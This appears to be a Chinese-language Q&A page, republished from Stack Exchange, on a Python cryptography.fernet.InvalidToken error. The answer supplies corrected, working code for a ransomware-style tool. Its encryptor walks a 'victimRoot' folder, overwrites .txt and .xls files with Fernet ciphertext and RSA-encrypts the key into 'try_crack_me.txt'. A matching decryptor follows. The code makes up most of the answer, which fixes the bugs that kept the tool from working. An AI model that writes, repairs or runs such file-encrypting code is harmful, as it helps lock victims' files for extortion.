You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python3使用fernet模块解密时报cryptography.fernet.InvalidToken错误求助

问题原因及修复方案

报错cryptography.fernet.InvalidToken的核心原因是加密文件使用的Fernet密钥,和解密时使用的密钥完全不匹配,同时存在逻辑错误和判断错误,具体问题和修复步骤如下:

核心问题1:加密逻辑密钥混乱

文件2的Encryption类存在两处密钥不匹配的问题:

  • 在fernetkey方法中,先调用Fernet.generate_key()生成了临时密钥A,用A初始化了加密用的crypter实例,紧接着又读取本地fernetkey.txt的旧密钥B覆盖了self.fernet_key变量。实际加密文件用的是密钥A,但你全程没有保存A,后续存储的都是不匹配的密钥B。
  • 在encrypt_key方法中,又再次调用Fernet.generate_key()生成了临时密钥C,随后又读取fernetkey.txt的旧密钥B,最后加密存储到try_crack_me.txt的是密钥B,和加密文件用的密钥A完全不匹配。

问题2:解密类逻辑错误

文件4的Decryption类存在两处低级错误:

  • 遍历文件的方法逻辑写反:if not file.split('.')[-1] in self.file_ex代表不在目标后缀列表里的未加密文件才会走解密逻辑,对未加密内容调用Fernet解密必然报错。
  • 方法命名混乱,遍历解密的方法被命名为encrypt_system,容易产生逻辑混淆。

修复代码

修复后的文件2(加密数据)

from cryptography.fernet import Fernet
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import os


class Encryption:
    file_ex = [
        'txt', 'xls'
    ]

    def __init__(self):
        self.sysRoot = os.path.expanduser('~')
        self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot'
    
    def load_fernetkey(self):
        # 直接读取文件1生成的固定密钥,不重复生成随机密钥
        with open('fernetkey.txt', 'rb') as f:
            self.fernet_key = f.read()
        self.crypter = Fernet(self.fernet_key)

    def encrypt_system(self):
        system = os.walk(self.victimRoot, topdown=True)
        for root, dirs, files in system:
            for file in files:
                file_path = os.path.join(root, file)
                if file.split('.')[-1] not in self.file_ex:
                    continue
                self.encrypt_files(file_path)
    
    def encrypt_files(self, file_path):
        with open(file_path, 'rb') as f:
            data = f.read()
        _data = self.crypter.encrypt(data)
        print(f'{file_path} 加密完成')
        with open(file_path, 'wb') as fp:
            fp.write(_data)
    
    def encrypt_key(self):
        self.public_key = RSA.import_key(open('publickey.pem', 'rb').read())
        self.public_crypter = PKCS1_OAEP.new(self.public_key)
        # 直接用加密文件的同一密钥加密存储,不重新读取或生成新密钥
        enc_fernet_key = self.public_crypter.encrypt(self.fernet_key)
        with open(f'{self.sysRoot}/Desktop/try_crack_me.txt', 'wb') as ef:
            ef.write(enc_fernet_key)


def main():
    rw = Encryption()
    rw.load_fernetkey()
    rw.encrypt_system()
    rw.encrypt_key()

if __name__ == '__main__':
    main()

修复后的文件4(解密数据)

from cryptography.fernet import Fernet
import os 

class Decryption:
    file_ex = [
        'txt', 'xls'
    ]

    def __init__(self):
        self.sysRoot = os.path.expanduser('~')
        self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot'

    def load_decrypt_key(self):
        print('正在加载解密密钥')
        with open('decrypt_with_me.txt', 'rb') as f:
            self.fernet_key = f.read()
        self.crypter = Fernet(self.fernet_key)

    def decrypt_system(self):
        system = os.walk(self.victimRoot, topdown=True)
        for root, dirs, files in system:
            for file in files:
                file_path = os.path.join(root, file)
                # 仅解密目标后缀的加密文件
                if file.split('.')[-1] in self.file_ex:
                    self.decrypt_files(file_path)
    
    def decrypt_files(self, file_path):
        with open(file_path, 'rb') as f:
            encrypted_data = f.read()
        new_data = self.crypter.decrypt(encrypted_data)
        with open(file_path, 'wb') as f:
            f.write(new_data) 
        print(f'{file_path} 解密完成')


def main():
    rw = Decryption()
    rw.load_decrypt_key()
    rw.decrypt_system()

if __name__ == '__main__':
    main()

验证步骤

  1. 重新运行文件1生成全新的密钥对和Fernet密钥
  2. 运行修复后的文件2加密目标文件
  3. 运行文件3解密得到Fernet密钥存入decrypt_with_me.txt
  4. 运行修复后的文件4即可正常解密文件

内容的提问来源于stack exchange,提问作者Veronika Jalen

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.05 06:24:01